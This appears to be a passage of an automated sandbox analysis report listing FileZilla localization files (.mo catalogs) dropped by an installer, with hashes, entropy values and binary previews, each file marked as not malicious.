Preview:	........4........1......\c......\c......]c......nc......\|c..A....c.......c..0....c..B....d......_d......td......~d.......d.......d.......d.......d.......d.......d.."....e......#e......4e..+...De......pe......~e.......e..5....e.......e.......e.......e.......f.......f.......f......%f......7f......Kf......\f......jf..0....f..2....f.......f..0....g......:g..6...Rg.......g.......g.......g.......g..;....g.......g.......g.......h.......h......1h......8h......Ih......_h......zh.......h..+....h.......h.......h.......h.......h.."....h.......i......-i..%...Li......ri......zi.......i.. ....i.......i..H....i..I....j..4..._j.......j..:....j.......j.......j..4....k......Fk......ek......ok......}k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l......(l......El......Pl......jl......pl.......l.......l.......l.......l.......l.......l..%....l..1....l..0...-m......^m......om.......m.......m.......m.......m.......m.......m.......m.......n......3n......>n..2...Sn..3...

C:\Program Files (x86)\Fzilla\locales\ro_RO\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: Filezilla 'Aten\310\233ie! Certificatul a fost anulat'
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.222022552859678
Encrypted:	false
SSDEEP:	48:tq8Q/Thq/TAzjL145iqclgF6ZCPOoGNb2C8:tMk0ju5iH1Znxb2C8
MD5:	243852DDD865013CB22D4A6A3410079F
SHA1:	A3817471720949DF0AC5A064EA1612695A6CA5BD
SHA-256:	88ADC555F6887263DEBEAC578F25681BF92237B3CA1DE21BB1C2FA5F20446546
SHA-512:	1C23C672BE5522FD724E0B3155829139E6D8BA2385BC00E36C5EEFE478C058F622AAD8989D2B09FD2F653701433167571F11749553D8F5812003B6D23F244CA4
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........$...\|...e.......Z.......0...b...........+.......3...............=...%.......c....Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: Filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2013-06-13 21:17+0200.Last-Translator: Alexandru Bogdan Munteanu <muntealb@gmail.com>.Language-Team: MunteAlb, Lauren.iu Anisie <muntealb@gmail.com>.Language: ro_RO.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bi

C:\Program Files (x86)\Fzilla\locales\ru\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1798 messages, Project-Id-Version: \320\240\321\203\321\201\321\201\320\272\320\270\320\271 \320\277\320\265\321\200\320\265\320\262\320\276\320\264 '%H:%M:%S \320\267\320\260\321\202\321\200\320\260\321\207\320\265\320\275\320\276'
Category:	dropped
Size (bytes):	223671
Entropy (8bit):	5.415079621054186
Encrypted:	false
SSDEEP:	6144:tv/yj69CF4vTcZ3iclybCAlHenfteJzGxWtWjU:EtFp3iclybCAlHenfteJzGxWtEU
MD5:	39D9EE82BDE187BE8F6FFFE7747D996A
SHA1:	DF65D1513304AB26C0E1E65F6D1A8B2A2E4DBA66
SHA-256:	B4F4FA764FD7C81D84B452A811782BCED5B2F8A8BCE6742C911108FA4C95F364
SHA-512:	EB02D3ACC8A45A07DAC2EC766A407CE2C06BF186258468A90ED2682B2C1A52BAE6E2D15A6E815EF252FAA2B7C8EE19EF832A7E59255B19BE724A019AC962ED96
Malicious:	false
Preview:	................L8......\|p......\|p......}p.......p..S....p.......p..A....q......Nq..0..._q..B....q.......q.......q.......q.......r......'r......5r......?r......Jr......Zr.."...tr.......r.......r.......s..+....s.......s.......s.......s..5....t......7t......At......Qt......^t......ht......pt.......t.......t.......t.......t.......t..K....t..0...2u..2...cu..2....u.......u..0....u.......v..6...-v......dv......jv......vv.......v..;....v.......v.......v.......v.......v.......v.......w......+w......2w......Cw......Yw......tw.......w..+....w.......w.......w.......w.......w.."....w.......x......'x..%...Fx......lx......tx.......x.. ....x.......x..H....x..I....y..4...Yy.......y..:....y.......y.......y..4....z..$...@z......ez.......z.......z.......z.......z.......z.......z.......z.......z.......z.......z.......{.......{......%{......>{......G{......d{......o{.......{.......{.......{.......{.......{.......{.......{.......{.......{..%....\|..O...*\|..R...z\|..1....\|..0....\|......0}......A}......R}......

C:\Program Files (x86)\Fzilla\locales\ru\is-BRSD0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1798 messages, Project-Id-Version: \320\240\321\203\321\201\321\201\320\272\320\270\320\271 \320\277\320\265\321\200\320\265\320\262\320\276\320\264 '%H:%M:%S \320\267\320\260\321\202\321\200\320\260\321\207\320\265\320\275\320\276'
Category:	dropped
Size (bytes):	223671
Entropy (8bit):	5.415079621054186
Encrypted:	false
SSDEEP:	6144:tv/yj69CF4vTcZ3iclybCAlHenfteJzGxWtWjU:EtFp3iclybCAlHenfteJzGxWtEU
MD5:	39D9EE82BDE187BE8F6FFFE7747D996A
SHA1:	DF65D1513304AB26C0E1E65F6D1A8B2A2E4DBA66
SHA-256:	B4F4FA764FD7C81D84B452A811782BCED5B2F8A8BCE6742C911108FA4C95F364
SHA-512:	EB02D3ACC8A45A07DAC2EC766A407CE2C06BF186258468A90ED2682B2C1A52BAE6E2D15A6E815EF252FAA2B7C8EE19EF832A7E59255B19BE724A019AC962ED96
Malicious:	false
Preview:	................L8......\|p......\|p......}p.......p..S....p.......p..A....q......Nq..0..._q..B....q.......q.......q.......q.......r......'r......5r......?r......Jr......Zr.."...tr.......r.......r.......s..+....s.......s.......s.......s..5....t......7t......At......Qt......^t......ht......pt.......t.......t.......t.......t.......t..K....t..0...2u..2...cu..2....u.......u..0....u.......v..6...-v......dv......jv......vv.......v..;....v.......v.......v.......v.......v.......v.......w......+w......2w......Cw......Yw......tw.......w..+....w.......w.......w.......w.......w.."....w.......x......'x..%...Fx......lx......tx.......x.. ....x.......x..H....x..I....y..4...Yy.......y..:....y.......y.......y..4....z..$...@z......ez.......z.......z.......z.......z.......z.......z.......z.......z.......z.......z.......{.......{......%{......>{......G{......d{......o{.......{.......{.......{.......{.......{.......{.......{.......{.......{..%....\|..O...*\|..R...z\|..1....\|..0....\|......0}......A}......R}......

C:\Program Files (x86)\Fzilla\locales\ru\is-FNONO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: \320\240\321\203\321\201\321\201\320\272\320\270\320\271 \320\277\320\265\321\200\320\265\320\262\320\276\320\264 '\320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \320\262 \321\206\320\265\320\277\320\276\321\207\320\272\320\265 \320\261\321\213\320\273 \320\277\320\276\320\264\320\277\320\270\321\201\320\260\320\275 \321\201 \320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265\320\274 \320\275\320\265\320\267\320\260\321\211\320\270\321\211\320\265\320\275\320\275\320\276\320\263\320\276 \320\260\320\273\320'
Category:	dropped
Size (bytes):	9536
Entropy (8bit):	5.344860283663808
Encrypted:	false
SSDEEP:	192:nKlPRxG8pZGJqe790vMm3dkNhH8hHQZuYm5pcztQAEQp7KZwzOM38pAWDhsKf:KlPRrkB9EsB8hwcAQA97KZwwhn
MD5:	77C31C9B2DDC8E5582047098B2D63C02
SHA1:	2DDDF0E6672F8D5F1EC588180AF4733C6FA41024
SHA-256:	EEBB5B2E99A407DB351FA34DE7118974A9415F4E8658F37E1109EA976BD28B0F
SHA-512:	1A3346190DAD416913820287B5C651B6F6D244DD889D0BC509F3C117A8E3A07ED96F0765E57D00CD0E7154C2C9A4D9ED30F48C56A06060F576D248F7B3B71234
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g.......G...y.......%...N...0...t...<.......I.......L...,...%...y...C.......8.......0.......6...M...n.......@...........4...x.......W...-...;.......J...................#... ...@.......a.......\|...!.......8..............'... ...=...H...F.......,.......0......._...+...............%...4...C...3...x...H.......I...........?...'...n...2.......,.......%...............N...

C:\Program Files (x86)\Fzilla\locales\ru\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: \320\240\321\203\321\201\321\201\320\272\320\270\320\271 \320\277\320\265\321\200\320\265\320\262\320\276\320\264 '\320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \320\262 \321\206\320\265\320\277\320\276\321\207\320\272\320\265 \320\261\321\213\320\273 \320\277\320\276\320\264\320\277\320\270\321\201\320\260\320\275 \321\201 \320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265\320\274 \320\275\320\265\320\267\320\260\321\211\320\270\321\211\320\265\320\275\320\275\320\276\320\263\320\276 \320\260\320\273\320'
Category:	dropped
Size (bytes):	9536
Entropy (8bit):	5.344860283663808
Encrypted:	false
SSDEEP:	192:nKlPRxG8pZGJqe790vMm3dkNhH8hHQZuYm5pcztQAEQp7KZwzOM38pAWDhsKf:KlPRrkB9EsB8hwcAQA97KZwwhn
MD5:	77C31C9B2DDC8E5582047098B2D63C02
SHA1:	2DDDF0E6672F8D5F1EC588180AF4733C6FA41024
SHA-256:	EEBB5B2E99A407DB351FA34DE7118974A9415F4E8658F37E1109EA976BD28B0F
SHA-512:	1A3346190DAD416913820287B5C651B6F6D244DD889D0BC509F3C117A8E3A07ED96F0765E57D00CD0E7154C2C9A4D9ED30F48C56A06060F576D248F7B3B71234
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g.......G...y.......%...N...0...t...<.......I.......L...,...%...y...C.......8.......0.......6...M...n.......@...........4...x.......W...-...;.......J...................#... ...@.......a.......\|...!.......8..............'... ...=...H...F.......,.......0......._...+...............%...4...C...3...x...H.......I...........?...'...n...2.......,.......%...............N...

C:\Program Files (x86)\Fzilla\locales\sk_SK\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1318 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S uplynulo'
Category:	dropped
Size (bytes):	126808
Entropy (8bit):	5.3930410905204065
Encrypted:	false
SSDEEP:	1536:hlooFLPewVxO02ALzmpGV75ZmdEzdtjDA3OBWHN0TnYEmVpCRYsDV4kobiix8trl:UALPHVr/mp3Cdt/ZEpChQxQ
MD5:	FD26971AD02C44336F70C165ECF6A362
SHA1:	F0238610E6FF8FA62897CD71304AD18A3AD88029
SHA-256:	38E25F7C5D62E8D8194C788B1EEC95F06A50086521A7567836EB9A934F8CEFBB
SHA-512:	63F483515605DDC4F6A834517FE10F1BE797822A9EF026BB6EC5036D3BB51473A05D46404A21CC33E1BD4B3D5DB0DBA8F9245A800880DC715E220589FBFA03BE
Malicious:	false
Preview:	........&.......L)......\|R......\|R......}R.......R..S....R.......R..A....S......NS..0..._S..B....S.......S.......S.......S.......T.......T.......T.."...5T......XT......iT......yT.......T.......T.......T.......T.......T.......T.......T..2....T.......U......8U..6...PU.......U.......U.......U..;....U.......U.......U.......U.......V.......V......-V......HV......VV..+..._V.......V.......V.......V.......V.."....V.......V.......V..%....W......@W......HW......XW..4...nW.......W..:....W.......W.......X..4... X......UX......tX......~X.......X.......X.......X.......X.......X.......X.......X.......X.......X.......Y.......Y......5Y......@Y......ZY......`Y......tY.......Y.......Y.......Y.......Y..%....Y..R....Y..1...5Z..0...gZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[.......[......M[......m[..3...x[..$....[..$....[..)....[...... \......6\......H\......U\......b\......g\......\|\.......\.......\.......\.......\.. ....\.......].......]......)]......1]......5]......;]......C]......

C:\Program Files (x86)\Fzilla\locales\sk_SK\is-2A0TS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: FileZilla 3 'Pozor! Platnos\305\245 certifik\303\241tu bola odvolan\303\241'
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.362865375572286
Encrypted:	false
SSDEEP:	24:X/1qDgGStP/Thq/TCxz80hLn1L054JLt0qtymJhXmGIpYT1f/Wp9GRIa7B:tqDW/Thq/TAzjL1453qc08BOT1fWfa7B
MD5:	69BF86010132722D7FAF001E81DF896B
SHA1:	2545810A9C9C45F0D47188B630ACB987B744D290
SHA-256:	1B60A2838F9ED7DB6AC94D7FE5C1D7397DF3D6A924FA185B3B3A8BC5CFC120E3
SHA-512:	8350784E96F06405F0657992326392F06A3820266E0C48736A0280990F75ED9CDEC06298E198C3D0BFFBFC1D27CFF873AE391780C989B0888BF2703C0DBBFC07
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........,.......r...>...h.......,...........G...,...Y...4...............;................Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: FileZilla 3.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2011-12-22 13:08+0100.Last-Translator: Ivan Mas.r <helix84@centrum.sk>.Language-Team: Slovak <sk-i18n@lists.linux.sk>.Language: sk.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plur

C:\Program Files (x86)\Fzilla\locales\sk_SK\is-33DGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1318 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S uplynulo'
Category:	dropped
Size (bytes):	126808
Entropy (8bit):	5.3930410905204065
Encrypted:	false
SSDEEP:	1536:hlooFLPewVxO02ALzmpGV75ZmdEzdtjDA3OBWHN0TnYEmVpCRYsDV4kobiix8trl:UALPHVr/mp3Cdt/ZEpChQxQ
MD5:	FD26971AD02C44336F70C165ECF6A362
SHA1:	F0238610E6FF8FA62897CD71304AD18A3AD88029
SHA-256:	38E25F7C5D62E8D8194C788B1EEC95F06A50086521A7567836EB9A934F8CEFBB
SHA-512:	63F483515605DDC4F6A834517FE10F1BE797822A9EF026BB6EC5036D3BB51473A05D46404A21CC33E1BD4B3D5DB0DBA8F9245A800880DC715E220589FBFA03BE
Malicious:	false
Preview:	........&.......L)......\|R......\|R......}R.......R..S....R.......R..A....S......NS..0..._S..B....S.......S.......S.......S.......T.......T.......T.."...5T......XT......iT......yT.......T.......T.......T.......T.......T.......T.......T..2....T.......U......8U..6...PU.......U.......U.......U..;....U.......U.......U.......U.......V.......V......-V......HV......VV..+..._V.......V.......V.......V.......V.."....V.......V.......V..%....W......@W......HW......XW..4...nW.......W..:....W.......W.......X..4... X......UX......tX......~X.......X.......X.......X.......X.......X.......X.......X.......X.......X.......Y.......Y......5Y......@Y......ZY......`Y......tY.......Y.......Y.......Y.......Y..%....Y..R....Y..1...5Z..0...gZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[.......[......M[......m[..3...x[..$....[..$....[..)....[...... \......6\......H\......U\......b\......g\......\|\.......\.......\.......\.......\.. ....\.......].......]......)]......1]......5]......;]......C]......

C:\Program Files (x86)\Fzilla\locales\sk_SK\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: FileZilla 3 'Pozor! Platnos\305\245 certifik\303\241tu bola odvolan\303\241'
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	5.362865375572286
Encrypted:	false
SSDEEP:	24:X/1qDgGStP/Thq/TCxz80hLn1L054JLt0qtymJhXmGIpYT1f/Wp9GRIa7B:tqDW/Thq/TAzjL1453qc08BOT1fWfa7B
MD5:	69BF86010132722D7FAF001E81DF896B
SHA1:	2545810A9C9C45F0D47188B630ACB987B744D290
SHA-256:	1B60A2838F9ED7DB6AC94D7FE5C1D7397DF3D6A924FA185B3B3A8BC5CFC120E3
SHA-512:	8350784E96F06405F0657992326392F06A3820266E0C48736A0280990F75ED9CDEC06298E198C3D0BFFBFC1D27CFF873AE391780C989B0888BF2703C0DBBFC07
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........,.......r...>...h.......,...........G...,...Y...4...............;................Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: FileZilla 3.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2011-12-22 13:08+0100.Last-Translator: Ivan Mas.r <helix84@centrum.sk>.Language-Team: Slovak <sk-i18n@lists.linux.sk>.Language: sk.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plur

C:\Program Files (x86)\Fzilla\locales\sl_SI\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1818 messages, Project-Id-Version: FileZilla 3.55.1 'Prete\304\215eni \304\215as: %H:%M:%S'
Category:	dropped
Size (bytes):	172907
Entropy (8bit):	5.234825102169664
Encrypted:	false
SSDEEP:	3072:VXImB9isbmBlXkCFE8T77X4w6F4hSkeJqJA:VYcYl0CFE8T7TCWUx
MD5:	47CB8A3A7780A367455CCD03C4FF5D99
SHA1:	FA45E6D295DE2B74AAA7F7FC95F71263F287571F
SHA-256:	52C9924E656ACA709E6B9B09BD4EB6213D2AAF32A5C9536020503CCB79F7FF67
SHA-512:	2AC32B3B1603C914E0C7430BBA4C015082A5954177D3B9D3006A9D232910CD0A0FCFB991D7A51BB8152467E2B537B300AD5EC40813E65004016964CB36B1A15F
Malicious:	false
Preview:	.................8.......q.......q.......q.......q..S....q......0r..A...Lr.......r..0....r..B....r.......s......(s......2s......Rs......gs......us.......s.......s.......s.......s.."....s.......s.......s.......t..+....t.......u......(u......<u..5...Ou.......u.......u.......u.......u.......u.......u.......u.......u.......u.......v.......v..K...4v..0....v..2....v..2....v.......w..0...2w......cw..6...{w.......w.......w.......w.......w..;....w.......x......&x.......x......9x......Kx......bx......yx.......x.......x.......x.......x.......x..+....x.......y.......y......y......:y.."...Ay......dy......uy..%....y.......y.......y.......y.. ....y.......y..H....z..I...]z..4....z.......z..:....z......#{......:{......C{..4...b{..$....{.......{.......{.......{.......{.......\|.......\|.......\|.......\|......3\|......;\|......O\|......d\|......o\|......\|\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......}......8}......A}......K}..%...[}..O....}..R....}..1...$~..0...V~.......~......

C:\Program Files (x86)\Fzilla\locales\sl_SI\is-LS05L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3.40.0 'Potrdilo v verigi je bilo podpisano z algoritmom, ki ni varen'
Category:	dropped
Size (bytes):	7258
Entropy (8bit):	5.096302501731969
Encrypted:	false
SSDEEP:	96:inIKT569zYQySDgnVvqk9Ra1Jqe790vMmU87cqO6zu571KFMSg0LY3ArNoYEOtPT:nKlMzKSCZGJqe790vMm3deaLuY06KjQ
MD5:	72213EFAB61DDA9D5F71B1B5261EB465
SHA1:	D670916F7B9497F45DF9A75AD31B86734DB38601
SHA-256:	790EA12C3702B9EA9311313E186C2F7ED6E490C18B95751C005A7A0F22C0B5AF
SHA-512:	442DD23FFEE61FA6B6ED0F7BA3A6ED64E9BC75DB472367F1A24C6CC9DDAE287BF0431C49612229976097BC443E9029756940C69D691065C937004333D8479D43
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...=..._...2.......#...............".......'...0...(...X...........#.......'.......%.......".......>..........i...S.......N.......+...)...+...U...$...........................................................$.......>.......^.......\|...$......."...............S.......H...J.........../...............+...................I......._.......s...........................%...

C:\Program Files (x86)\Fzilla\locales\sl_SI\is-M13GP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1818 messages, Project-Id-Version: FileZilla 3.55.1 'Prete\304\215eni \304\215as: %H:%M:%S'
Category:	dropped
Size (bytes):	172907
Entropy (8bit):	5.234825102169664
Encrypted:	false
SSDEEP:	3072:VXImB9isbmBlXkCFE8T77X4w6F4hSkeJqJA:VYcYl0CFE8T7TCWUx
MD5:	47CB8A3A7780A367455CCD03C4FF5D99
SHA1:	FA45E6D295DE2B74AAA7F7FC95F71263F287571F
SHA-256:	52C9924E656ACA709E6B9B09BD4EB6213D2AAF32A5C9536020503CCB79F7FF67
SHA-512:	2AC32B3B1603C914E0C7430BBA4C015082A5954177D3B9D3006A9D232910CD0A0FCFB991D7A51BB8152467E2B537B300AD5EC40813E65004016964CB36B1A15F
Malicious:	false
Preview:	.................8.......q.......q.......q.......q..S....q......0r..A...Lr.......r..0....r..B....r.......s......(s......2s......Rs......gs......us.......s.......s.......s.......s.."....s.......s.......s.......t..+....t.......u......(u......<u..5...Ou.......u.......u.......u.......u.......u.......u.......u.......u.......u.......v.......v..K...4v..0....v..2....v..2....v.......w..0...2w......cw..6...{w.......w.......w.......w.......w..;....w.......x......&x.......x......9x......Kx......bx......yx.......x.......x.......x.......x.......x..+....x.......y.......y......y......:y.."...Ay......dy......uy..%....y.......y.......y.......y.. ....y.......y..H....z..I...]z..4....z.......z..:....z......#{......:{......C{..4...b{..$....{.......{.......{.......{.......{.......\|.......\|.......\|.......\|......3\|......;\|......O\|......d\|......o\|......\|\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......}......8}......A}......K}..%...[}..O....}..R....}..1...$~..0...V~.......~......

C:\Program Files (x86)\Fzilla\locales\sl_SI\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3.40.0 'Potrdilo v verigi je bilo podpisano z algoritmom, ki ni varen'
Category:	dropped
Size (bytes):	7258
Entropy (8bit):	5.096302501731969
Encrypted:	false
SSDEEP:	96:inIKT569zYQySDgnVvqk9Ra1Jqe790vMmU87cqO6zu571KFMSg0LY3ArNoYEOtPT:nKlMzKSCZGJqe790vMm3deaLuY06KjQ
MD5:	72213EFAB61DDA9D5F71B1B5261EB465
SHA1:	D670916F7B9497F45DF9A75AD31B86734DB38601
SHA-256:	790EA12C3702B9EA9311313E186C2F7ED6E490C18B95751C005A7A0F22C0B5AF
SHA-512:	442DD23FFEE61FA6B6ED0F7BA3A6ED64E9BC75DB472367F1A24C6CC9DDAE287BF0431C49612229976097BC443E9029756940C69D691065C937004333D8479D43
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...=..._...2.......#...............".......'...0...(...X...........#.......'.......%.......".......>..........i...S.......N.......+...)...+...U...$...........................................................$.......>.......^.......\|...$......."...............S.......H...J.........../...............+...................I......._.......s...........................%...

C:\Program Files (x86)\Fzilla\locales\sr\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1293 messages, Project-Id-Version: Filezilla 0 '\320\237\321\200\320\276\321\202\320\265\320\272\320\273\320\276 \321\230\320\265 %H:%M:%S'
Category:	dropped
Size (bytes):	165364
Entropy (8bit):	5.2847196590387355
Encrypted:	false
SSDEEP:	3072:hzMBwcT4r6mpsodxzorsNPTtKJj7B1bJREYplLkiT8zlm68X5Go:hz4wG4rVsSxzorQPTsJj7B1tREYp9ezG
MD5:	4C65AF738638953953AB9D0F34255122
SHA1:	BC6445926B48797A6DECF1D5C5678B6E75A52C44
SHA-256:	70CC8DE90776FA85FAAF746EC87B05B9D35741BE34E86E5BE7CE9F58129FAA31
SHA-512:	7F23331210A199F8F46438774ADB54D4A18D2C4476D828B48EA302FA08DEDD6DF6B6F4F0392FB0E045B10105628F686B715CB9AF9DF3131BEC0F522248EC67D5
Malicious:	false
Preview:	.................(.......P.......P.......P.......P..S....Q......`Q..A...\|Q.......Q..0....Q..B....R......CR......XR......bR......pR......{R.......R.."....R.......R.......R.......R.......R.......S.......S.......S......'S......8S......LS..2...ZS.......S.......S..6....S.......S.......S.......T..;....T......MT......XT......cT......uT.......T.......T.......T.......T..+....T.......T.......U...... U......0U.."...7U......ZU......kU..%....U.......U.......U.......U..4....U.......V..:....V......ZV......qV..4....V.......V.......V.......V.......V.......W.......W.......W......1W......9W......NW......YW......rW......{W.......W.......W.......W.......W.......W.......W.......W.......X.......X..%....X..R...EX..1....X..0....X.......X.......Y.......Y......<Y......BY......XY......aY......zY.......Y.......Y.......Y..3....Y..$....Z..$...4Z..)...YZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[....../[......<[.. ...N[......o[......t[.......[.......[.......[.......[.......[.......[......

C:\Program Files (x86)\Fzilla\locales\sr\is-02QUT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: Filezilla 0 '\320\236\320\277\321\200\320\265\320\267\320\275\320\276! \320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \321\230\320\265 \320\276\321\202\320\272\320\260\320\267\320\260\320\275'
Category:	dropped
Size (bytes):	1885
Entropy (8bit):	5.614040531495989
Encrypted:	false
SSDEEP:	48:tqk/Thq/TAzjL145qqc/F52/ovVKK0VKsq3n:t3k0ju5q5F52/ovVK7VKln
MD5:	BDBC57157C4C4FC4BD1125527E7CA979
SHA1:	E03BF390041093B2B254607D14B86103962DA357
SHA-256:	3E9A085F53CA4687835C9CE292AA08B0EB71322FE4AEA3FBF1302B038368804B
SHA-512:	7D7AF4900880BB191386BCE4FD50FF5F0A697359915EE2DF20D02C99F1166EF707130F468A041852171023D7CB4857D1CD328D875E2085CFF6598DAD4A861D57
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........8...................L...<......./.......E...?...C.......6.......I...........J....Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: Filezilla 0.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2010-10-29 02:30+0100.Last-Translator: Nikola Radovanovic <nrad@eunet.rs>.Language-Team: Serbian <sr@li.org>.Language: sr.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plural=n%10==1

C:\Program Files (x86)\Fzilla\locales\sr\is-H65T5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1293 messages, Project-Id-Version: Filezilla 0 '\320\237\321\200\320\276\321\202\320\265\320\272\320\273\320\276 \321\230\320\265 %H:%M:%S'
Category:	dropped
Size (bytes):	165364
Entropy (8bit):	5.2847196590387355
Encrypted:	false
